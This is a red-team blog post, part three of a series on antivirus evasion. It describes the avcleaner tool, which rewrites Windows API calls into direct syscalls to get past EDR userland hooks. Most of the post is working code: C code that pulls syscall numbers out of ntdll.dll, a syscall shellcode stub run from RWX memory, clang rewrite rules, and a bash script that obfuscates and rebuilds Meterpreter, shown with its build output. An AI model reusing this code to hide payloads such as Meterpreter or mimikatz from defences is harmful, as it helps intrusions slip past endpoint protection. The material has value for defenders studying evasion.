Normal view

There are new articles available, click to refresh the page.
Before yesterdaySec Team Blog

Engineering antivirus evasion (Part III)

By: plowsec
19 April 2022 at 10:05

Previous blog posts addressed the issue of static artefacts that can easily be caught by security software, such as strings and API imports:

This one provides an additional layer of obfuscation to target another kind of detection mechanism used to monitor a program’s activity, i.e userland hooks. As usual, source code was published at

https://github.com/scrt/avcleaner

It comes with two additional niceties:

  • A multithreaded Python script to obfuscate the entire Meterpreter codebase.
  • A self-contained, position independent C source code to dynamically fetch syscalls numbers on Windows.

A note on the State-of-the-Art of userland hooks evasion

<storytime>Our research on the subject started in 2017 as part of two externalised school semester projects. Some years before that, there already were some noise about some new antivirus able to detect “any threat” pre-execution, using “IA” and even apparently without the need of regular updates. Two fellow students at the time, having similar research projects, could not circumvent it. At around the same time, a friend working in an IT company invited me to a private demo of the software, where the salesman confidently asked me to throw things at it, and indeed I could not go past it 🙂

It is in 2017 that I encountered the software as part of a thesis, and this time I decided to stop jerking around and I reverse-engineered two thirds of the damn antivirus. This taught me about userland hooking, which I initially thought that no company in their right mind would ever do, but hey, who am I to judge.

About 6 months later I gave SCRT a full bypass of this software’s capabilities, alongside two self-protection bypasses to disable the antivirus in case it would ever be needed.</storytime>

In the meantime, many articles and tools were published on the subject and some work quite well. In any case, ours is only a bit different since we use a C/C++ source code obfuscator. And, because the public research on the subject is advanced enough, we don’t see any issue anymore by sharing it. Like all techniques, it comes with its pros and cons.

Pros and cons

The advantages are:

  • No hardcoded syscalls numbers
  • No check against Windows’ version
  • Generic accross AV/EDR.
  • Able to, for instance, refactor a CreateRemoteThread call into a NtCreateThreadEx one, which does not have the same number or even order of parameters.
  • Integrates well with other obfuscation passes, since all of it is made by the same software, with the same technologies.
  • Thread-safe.

The downside are as follows:

  • Need to have the Windows headers somewhere on disk :p
  • Some disadvantages are specific to the way we get syscall numbers, but that actual implementation can be swapped easily for another one. These disadvantages are:
    • Read ntdll.dll from disk.
    • Need to get the type definition from MSDN in case you want to add support for another syscall.

Reading ntdll.dll from disk is seen as suboptimal in recent publications, with the arguments that it can “easily” be detected by antivirus since ntdll.dll is loaded into every process already and there is no “legit” need to do it again.

However, we’ve used this tool for 4 years now (at the time of writing) without any issue. Having ideas about what antivirus or blue teams should do is one thing, actually implementing it without false positives is quite another. Would that even be the case, we would attempt to bypass the ntdll.dll read detection, since NTFS is the PHP of fileystems.

As for the type definitions, it has been automated in other tools so their implementation could probably be integrated (https://www.fireeye.com/blog/threat-research/2014/09/flare-ida-pro-script-series-msdn-annotations-ida-pro-for-malware-analysis.html).

Other tools

Other than that, here are some other popular tools that also fight userland hooks:

Evading userland hooks with raw syscalls

There are many techniques to go around userland hooks and we won’t provide yet another summary of each of these. Our approach, like many others, work by invoking syscalls. To do that, one needs the syscall number, which is specific to each version of Windows as opposed to syscalls on Unix.

There are many techniques to recover these syscall numbers:

  • Hardcode them.
  • Parse them from ntdll.dll.
  • Bruteforce: since ntoskrnl.exe checks syscalls arguments and returns the error “INVALID_PARAMETERS“, one can leverage that as an Oracle and iterate over the syscall number until arguments are valid.
  • Somehow get them from the hooked ntdll.dll in the process address space, which implies to detect and resolve hooks, which requires a disassembler which in turn increases our footprint.
  • Sort the ntdll.dll’s EAT by name like shown in https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/.

The last one is probably the simplest. In any case, here is the implementation details behind the technique used in avcleaner, which you can easily swap for the one you prefer.

Get syscall numbers

The code shown in the subsequent section is written in such a way because it’s meant to be position independent.

Get ntdll.dll’s export directory

Once the file is loaded into memory, one must locate the implementation of the API of interest. For instance, one can expect to find NtCreateThreadEx somewhere in the .text section, but its address is not predictible because of ASLR. However, ntdll being a library, it actually exposes this API and many others, so that software can reuse them. The collection of exposed API is stored inside the Export directory in a PE file. Each API is identified either by its name or an identifier called “Ordinal”. To reduce the footprint, it is arguably better to locate the API by ordinal. On the other hand, they are not guaranteed to stay the same accross Windows versions. Either way, here is how one would locate the export directory of a DLL:


static PIMAGE_EXPORT_DIRECTORY get_export_dir(LPBYTE file_buffer, DWORD file_size, PIMAGE_SECTION_HEADER *first_section, DWORD* nb_sections) {
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)file_buffer;

    // sanitity check
    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
        return;
    }

    PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(file_buffer + dos_header->e_lfanew);
    *nb_sections = nt_header->FileHeader.NumberOfSections;

    *first_section = (PIMAGE_SECTION_HEADER) (file_buffer + dos_header->e_lfanew +sizeof(IMAGE_NT_HEADERS));

    DWORD export_rva = nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    
    // The field VirtualAddress needs a quick conversion in case the target is accessed in the file directly
    DWORD export_file_offset = rva_to_file_offset(*first_section, *nb_sections, file_size, export_rva);

    return (PIMAGE_EXPORT_DIRECTORY)(file_buffer + export_file_offset);
}

Iterate over syscalls

Once the export table is locate, one can iterate over each entry. To actually get the API names in spite of the awkward indirections inherent to the PE file format, one could do as follows:


PIMAGE_SECTION_HEADER first_section; // first section's header, points to an array of sections headers.
    DWORD nb_sections = 0; // number of sections in ntdll

    PIMAGE_EXPORT_DIRECTORY export_directory = get_export_dir(file_buffer, file_size, &first_section, &nb_sections);

    PDWORD functions_address = (PDWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfFunctions));
    PWORD ordinals_address = (PWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfNameOrdinals));
    PDWORD names_address = (PDWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfNames));

    SIZE_T nb_api_names = sizeof(__API_names) / sizeof(__API_names[0]);
    syscall_infos = (syscall_info*)malloc(nb_api_names * sizeof(syscall_info));

    for (DWORD i = 0; i < export_directory->NumberOfNames; ++i)
    {
        DWORD rva_api = functions_address[ordinals_address[i]];
        DWORD file_offset_name = rva_to_file_offset(first_section, nb_sections, file_size, names_address[i]);

        unsigned char* name = file_buffer + file_offset_name;

         // filter everything except Zw* API functions
        if (!(*name == 'Z' && *(name + 1) == 'w'))
            continue;

Get the syscall ID

From there the sky is the limit, as they are many ways to collect the syscall ID. The example below, which obviously does not care about efficiency, only proceeds in case the syscall corresponds to an API we want to obfuscate. For instance, the syscall ID can be found in the API’s disassembly, as shown with WinDbg below:

windbg > u NtCreateFile
ntdll!NtCreateFile:
00007ffa`202458e0 4c8bd1          mov     r10,rcx
00007ffa`202458e3 b855000000      mov     eax,55h
00007ffa`202458e8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`202458f0 7503            jne     ntdll!NtCreateFile+0x15 (00007ffa`202458f5)
00007ffa`202458f2 0f05            syscall
00007ffa`202458f4 c3              ret
00007ffa`202458f5 cd2e            int     2Eh
00007ffa`202458f7 c3              ret

Here, the syscall number is 0x55 (mov eax, 55h). Since every syscall is implemented in the same manner, the offset to this assembly instruction is always the same for every API. The offset is thus the number of bytes between NtCreateFile’s prologue and the operand of mov: 4 bytes (as can be seen by counting the bytes in the second column above).

// get the syscall id
DWORD syscall_id = *(DWORD *)(procedure_address + SYSCALL_ID_OFFSET);

// compare with the APIs we're interested in
for (unsigned int i = 0; i < nb_api_names; i++) {
    if (strequal(__API_names[i], (const char*)name))    {
        syscall_infos[i].name = __API_names[i];
        syscall_infos[i].id = syscall_id;
        break;
    }
}

This is a simple proof-of-concept that does the job, but with lots of imperfection. For instance, notice the strequal call, which uses API names as strings. This is a challenge for position independent code but also for antivirus detection, since strings are easy to find in binaries. Moreover, Windows Defender actually flags that with a low-score signature called “ApiRetrieval”, but in case everything else in your payload is well designed, it won’t bother flagging the file as malicious. That’s the reason it’s more standard to use API hashes, but unless the API hashing algorithm is itself polymorphic, the same problem might arise. Besides, string encryption would definitely be a valid alternative. Either way, we won’t provide any of that, since the goal is to document techniques, not provide perfect tools ready to pwn systems.

Since disassembling other syscalls shows that every syscall follows the same implementation save for the syscall number, we can safely define the following template and update the syscall number once we have it:


unsigned int syscall_id = syscall->id;

unsigned char syscall_shellcode[] = {
    0x4c,0x8b,0xd1, // mov r10, rcx
    0xb8,0x18,0x00,0x00,0x00, //-> to be updated with the correct syscall number
    0x0f,0x05, //syscall instruction.
    0xc3
};

//convert to little endian (byte swap)
unsigned char lvalue = syscall_id & 255;
unsigned char hvalue = (syscall_id / 256) & 255;

// update the shellcode with the correct syscall id
syscall_shellcode[4] = lvalue;
syscall_shellcode[5] = hvalue;

From there, the shellcode can be invoked as usual:

void *qapcmem = VirtualAlloc(0, sizeof(syscall_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(qapcmem, syscall_shellcode, sizeof(syscall_shellcode));

The memory area is set to RXW to bypass Data Execution Prevention (DEP). Some say it’s a detection vector but we never actually triggered an AV by doing that. In any case, if that bothers you, don’t hesitate to insert a VirtualProtect call or locate a code cave with existing RWX permissions.

Another detection vector would be the syscall_shellcode variable, since it will hold 0x0f, 0x05, which could be detected by some YARA rules looking for direct syscalls. Encryption is left as an exercise to the reader.

Clang obfuscation pass

The previous blog posts went into (lengthy) details about implementing an obfuscation pass with libclang. I think it is no necessary to do so here since no new concept is introduced. However, here is how simple it is to define a rule to transform one API call to a syscall, even if they don’t share the same number of arguments:

auto ZwWriteVirtualMemoryTypeDef = "typedef NTSTATUS(__stdcall *_ZwWriteVirtualMemory)(\n"
 " HANDLE ProcessHandle,\n"
 " PVOID BaseAddress,\n"
 " PVOID Buffer,\n"
 " ULONG NumberOfBytesToWrite,\n"
 " PULONG NumberOfBytesWritten);\n\n";

auto Cons = std::make_unique<ApiCallConsumer*>(new ApiCallConsumer("WriteProcessMemory", ZwWriteVirtualMemoryTypeDef,
"ZwWriteVirtualMemory", true));

consumers.push_back(*Cons);

Of course, for that to be possible, the obfuscation rule must know about the arguments and how to handle them, and the lines below simply take care of it:

/*
 * 1. Rename API to random identifier
 * 2. Adapt parameters
 * 3. Handle If conditions since the return value is different
 */
void ApiMatchHandler::rewriteApiToSyscall(const clang::CallExpr *pExpr, clang::ASTContext *const pContext,
                                          std::string ApiName) {
    std::string Replacement, Prefix, Suffix = "";
    std::ostringstream params(std::ostringstream::out);
    SourceRange Range;

    if (ApiName == "WriteProcessMemory") {
        llvm::outs() << "[*] Found WriteProcessMemory\n";
        std::vector<std::string> FunctionArgs = GetArgs(pExpr);

        params << "("
               << FunctionArgs.at(0) << ", "
               << FunctionArgs.at(1) << ", (PVOID)("
               << FunctionArgs.at(2) << "), (ULONG)("
               << FunctionArgs.at(3) << "), (PULONG)("
               << FunctionArgs.at(4) << "))";
        Replacement = params.str();
        Range = clang::SourceRange(pExpr->getBeginLoc(), pExpr->getEndLoc());
    }

An interesting bug I encountered while obfuscating meterpreter was API calls within if-statements, because the API call’s return value is used as a condition for executing another code block. However, Windows being Windows, syscall don’t return the same value in case of error / success and we must actually check against the macro ERROR_SUCCESS.

if (isInsideIfCondition(pExpr, pContext)) {
    llvm::outs() << "CompountStmt > IfStmt\n";

    Suffix = " == ERROR_SUCCESS";
}

Example with Meterpreter

Accompanying this blog post’s release, there is a python script that bootstraps avcleaner and makes it easy to obfuscate a whole codebase at once. Of course you could just **/*.c | xargs avcleaner away but it brings some useful features:

  • Statistics: avcleaner’s output is quite lengthy and sometimes, when working on a huge codebase, critical failures could be overlooked.
  • Multithreading / multiprocessing: depending on your Python implementation, you can switch between them with 1 line of code at the top of the script and get the most performance. This allows to cut down execution time from ~30 minutes to ~30 seconds in the case of Meterpreter.
  • Some files are opted out of the obfuscation pass because they contain some weird code patterns that can’t be handled correctly by avcleaner, and since our research time is limited, we decided to conveniently skip these files.
  • Moreover, the statistics printed out at the end of the obfuscation pass should be regarded as an estimation, since the total number of “CreateRemoteThread” for instance is counted with pattern matching Python-side, which obviously makes mistakes by accounting for occurrences in comments or something like that.

Script

Here is a script that automates patching Meterpreter and cross-compiles it. This is possible since MSF 6 with the introduction of makefiles and dockerfiles allowing cross-compilation from any OS to Windows x86/x64 architectures.


#!/usr/bin/bash

set +e

PATCH_DIR="/Users/vladimir/dev/metasploit-evasion/build"
TMP_DIR=$(mktemp -d)
echo "Building in $TMP_DIR"
cd $TMP_DIR

# download meterpreter' source code
git clone https://github.com/rapid7/metasploit-payloads
cd metasploit-payloads
git submodule update --init --recursive

# apply manual patches
cd c/meterpreter
# ...
# run avcleaner
python3 avcleaner/scripts/obfuscate_meterpreter.py -p "$TMP_DIR/c/meterpreter/source" --edit --api --strings
make docker-x64
$ bash patch_obfuscate_metasploit_payloads.sh                                                          
Building in /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu
Cloning into 'metasploit-payloads'...
remote: Enumerating objects: 32669, done.
remote: Counting objects: 100% (542/542), done.
remote: Compressing objects: 100% (271/271), done.
remote: Total 32669 (delta 232), reused 426 (delta 157), pack-reused 32127
Receiving objects: 100% (32669/32669), 59.09 MiB | 8.89 MiB/s, done.
Resolving deltas: 100% (17555/17555), done.
Submodule 'deps' (https://github.com/rapid7/meterpreter-deps) registered for path 'c/meterpreter/deps'
Submodule 'source/ReflectiveDLLInjection' (https://github.com/rapid7/ReflectiveDLLInjection.git) registered for path 'c/meterpreter/source/ReflectiveDLLInjection'
Submodule 'c/meterpreter/source/extensions/kiwi/mimikatz' (https://github.com/rapid7/mimikatz) registered for path 'c/meterpreter/source/extensions/kiwi/mimikatz'
Cloning into '/private/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/deps'...
Cloning into '/private/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/ReflectiveDLLInjection'...
Cloning into '/private/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz'...
Submodule path 'c/meterpreter/deps': checked out '0f78fe95010a32f2c762154a2423256aeea80b0f'
Submodule path 'c/meterpreter/source/ReflectiveDLLInjection': checked out '6bad4c49327ad3b7d9cce6e280d034b76dbec928'
Submodule path 'c/meterpreter/source/extensions/kiwi/mimikatz': checked out 'a98af74db2d515600242c87495289dfa20ebeb60'
python3 /Users/vladimir/dev/scrt/avcleaner/misc/obfuscate_meterpreter_macos.py --api --strings --edit  -p /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source && make docker-metsrv-x64 ; say "Bouh"
INFO:root:Analyzing 535 files...
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/libloader.c -> Counter({'WriteProcessMemory': 4, 'NtCreateSection': 4, 'NtMapViewOfSection': 4})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_inject.c -> Counter({'WriteProcessMemory': 6, 'NtQueueApcThread': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/remote_thread.c -> Counter({'CreateRemoteThread': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_dispatch.c -> Counter({'WriteProcessMemory': 4})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_misc.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_process.c -> Counter({'NtResumeProcess': 2, 'NtSuspendProcess': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_net.c -> Counter({'SamFreeMemory': 18, 'SamCloseHandle': 10, 'SamEnumerateDomainsInSamServer': 6, 'SamOpenDomain': 4, 'SamConnect': 3, 'SamLookupDomainInSamServer': 3, 'SamRidToSid': 2, 'SamGetAliasMembership': 2, 'SamOpenUser': 1, 'SamOpenGroup': 1, 'SamOpenAlias': 1, 'SamGetGroupsForUser': 1, 'SamGetMembersInGroup': 1, 'SamGetMembersInAlias': 1, 'SamEnumerateUsersInDomain': 1, 'SamEnumerateGroupsInDomain': 1, 'SamEnumerateAliasesInDomain': 1, 'SamLookupIdsInDomain': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump.c -> Counter({'SamFreeMemory': 10, 'SamCloseHandle': 6, 'SamEnumerateDomainsInSamServer': 2, 'SamConnect': 2, 'SamOpenDomain': 2, 'SamOpenUser': 2, 'SamSetInformationUser': 2, 'SamLookupNamesInDomain': 2, 'SamLookupDomainInSamServer': 1, 'SamQueryInformationUser': 1, 'SamiChangePasswordUser': 1, 'SamEnumerateUsersInDomain': 1, 'SamLookupIdsInDomain': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_memory.c -> Counter({'WriteProcessMemory': 1, 'ReadProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_cabinet.c -> Counter({'GetTempFileNameA': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_remotelib.c -> Counter({'CreateRemoteThread': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/tokendup.c -> Counter({'WriteProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/passwd.c -> Counter({'ReadProcessMemory': 3, 'WriteProcessMemory': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c -> Counter({'WriteProcessMemory': 6, 'NtUnmapViewOfSection': 4, 'ReadProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c -> Counter({'WriteProcessMemory': 1, 'ReadProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c -> Counter({'WriteProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c -> Counter({'ReadProcessMemory': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/ReflectiveDLLInjection/dll/src/ReflectiveDll.c: 100%|███████████████████████████████████████████████| 535/535 [00:02<00:00, 251.14it/s]
INFO:root:Found 243 files with strings.
INFO:root:Found 18 files with suspicious API calls.
['/extensions/priv/namedpipe.c', '/extensions/kiwi/mimikatz/modules/kull_m_rdm.c', '/metsrv/pivot_tree.c', '/extensions/stdapi/server/sys/session.c', '/metsrv/remote_thread.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kull_m_rpc.c', '/metsrv/server_pivot.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.c', '/metsrv/metsrv.c', '/extensions/stdapi/server/net/resolve.c', '/extensions/stdapi/server/net/config/arp.c', '/extensions/kiwi/mimikatz/modules/kull_m_busylight.c', '/screenshot/bmp2jpeg.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_ts.c', '/extensions/kiwi/mimikatz/modules/kull_m_key.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto_sk.c', '/extensions/priv/elevate.c', '/extensions/incognito/user_management.c', '/extensions/kiwi/mimikatz/mimilib/kdns.c', '/extensions/kiwi/mimikatz/modules/kull_m_minidump.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump.c', '/extensions/incognito/incognito.c', '/metsrv/server_transport_winhttp.c', '/elevator/elevator.c', '/metsrv/libloader.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_ccache.c', '/extensions/stdapi/server/net/net.c', '/extensions/winpmem/winpmem.cpp', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-credentialkeys.c', '/extensions/stdapi/server/sys/eventlog/eventlog.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_utils.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kwindbg.c', '/extensions/kiwi/mimikatz/modules/kull_m_hid.c', '/extensions/stdapi/server/ui/ui.c', '/extensions/stdapi/server/sys/process/image.c', '/extensions/incognito/hash_stealer.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c', '/extensions/kiwi/mimikatz/modules/kull_m_sr98.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/kuhl_m_dpapi.c', '/extensions/kiwi/mimikatz/mimilib/kappfree.c', '/screenshot/screenshot.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-bkrp_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c', '/extensions/kiwi/mimikatz/modules/kull_m_pn532.c', '/extensions/unhook/refresh.c', '/extensions/stdapi/server/sys/process/thread.c', '/extensions/espia/screen.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_mimicom.c', '/extensions/kiwi/mimikatz/modules/kull_m_asn1.c', '/metsrv/base.c', '/metsrv/core.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_pki.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_sid.c', '/extensions/kiwi/mimikatz/modules/kull_m_registry.c', '/extensions/kiwi/main.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_dpapi.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_claims.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto_remote.c', '/extensions/priv/priv.c', '/extensions/priv/fs.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_service_remote.c', '/extensions/stdapi/server/ui/keyboard.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc.c', '/extensions/stdapi/server/sys/process/util.c', '/ReflectiveDLLInjection/dll/src/ReflectiveLoader.c', '/metsrv/server_transport_tcp.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_powershell.c', '/extensions/kiwi/mimikatz/modules/kull_m_xml.c', '/extensions/kiwi/mimikatz/modules/kull_m_service.c', '/extensions/kiwi/mimikatz/modules/kull_m_file.c', '/extensions/stdapi/server/webcam/audio.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_ssh.c', '/metsrv/metapi.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-rprn.c', '/extensions/extapi/extapi.c', '/metsrv/base_dispatch.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_kernel.c', '/metsrv/channel.c', '/extensions/kiwi/mimikatz/modules/kull_m_handle.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-claims.c', '/extensions/priv/namedpipe_rpcss.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_acr.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_rdm.c', '/metsrv/thread.c', '/extensions/kiwi/mimikatz/mimilib/utils.c', '/extensions/stdapi/server/sys/config/config.c', '/extensions/espia/espia.c', '/extensions/kiwi/mimikatz/mimilib/kssp.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_wlan.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_process.c', '/extensions/extapi/adsi.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_rdg.c', '/extensions/stdapi/server/fs/search.c', '/extensions/stdapi/server/net/config/proxy_config.c', '/metsrv/server_pivot_named_pipe.c', '/extensions/kiwi/mimikatz/mimilove/mimilove.c', '/metsrv/server_transport_wininet.c', '/extensions/kiwi/mimikatz/modules/kull_m_cred.c', '/extensions/kiwi/mimikatz/modules/kull_m_acr.c', '/extensions/winpmem/winpmem_meterpreter.cpp', '/extensions/stdapi/server/ui/desktop.c', '/extensions/extapi/clipboard.c', '/extensions/kiwi/mimikatz/mimilib/ksub.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c', '/extensions/kiwi/mimikatz/modules/kull_m_kernel.c', '/extensions/kiwi/mimikatz/modules/kull_m_cabinet.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c', '/extensions/unhook/unhook.c', '/extensions/lanattacks/dhcpserv.cpp', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_sysenvvalue.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_service.c', '/extensions/kiwi/mimikatz/modules/kull_m_output.c', '/extensions/kiwi/mimikatz/mimikatz/mimikatz.c', '/extensions/sniffer/sniffer.c', '/extensions/stdapi/server/ui/idle.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump_remote.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.c', '/extensions/extapi/ntds_decrypt.c', '/extensions/extapi/wmi_interface.cpp', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_net.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_dpapi-entries.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-nrpc_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_busylight.c', '/metsrv/unicode.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_patch.c', '/extensions/peinjector/peinjector.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt5.c', '/extensions/kiwi/mimikatz/modules/kull_m_remotelib.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_drsr.c', '/extensions/powershell/powershell_bindings.cpp', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_bkrp.c', '/extensions/extapi/clipboard_image.cpp', '/extensions/stdapi/server/net/socket/tcp.c', '/extensions/stdapi/server/webcam/bmp2jpeg.c', '/ReflectiveDLLInjection/inject/src/GetProcAddressR.c', '/extensions/stdapi/server/stdapi.c', '/extensions/kiwi/mimikatz/modules/kull_m_patch.c', '/metsrv/server_setup.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-drsr_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_livessp.c', '/extensions/priv/tokendup.c', '/elevator/namedpipeservice.c', '/elevator/tokendup.c', '/extensions/stdapi/server/sys/power/power.c', '/extensions/extapi/ntds_jet.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_vault.c', '/extensions/stdapi/server/net/config/route.c', '/extensions/powershell/powershell_runner.cpp', '/metsrv/pivot_packet_dispatch.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto.c', '/extensions/powershell/powershell_bridge.cpp', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_wdigest.c', '/extensions/extapi/wmi.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.c', '/metsrv/packet_encryption.c', '/extensions/stdapi/server/sys/registry/registry.c', '/extensions/extapi/syskey.c', 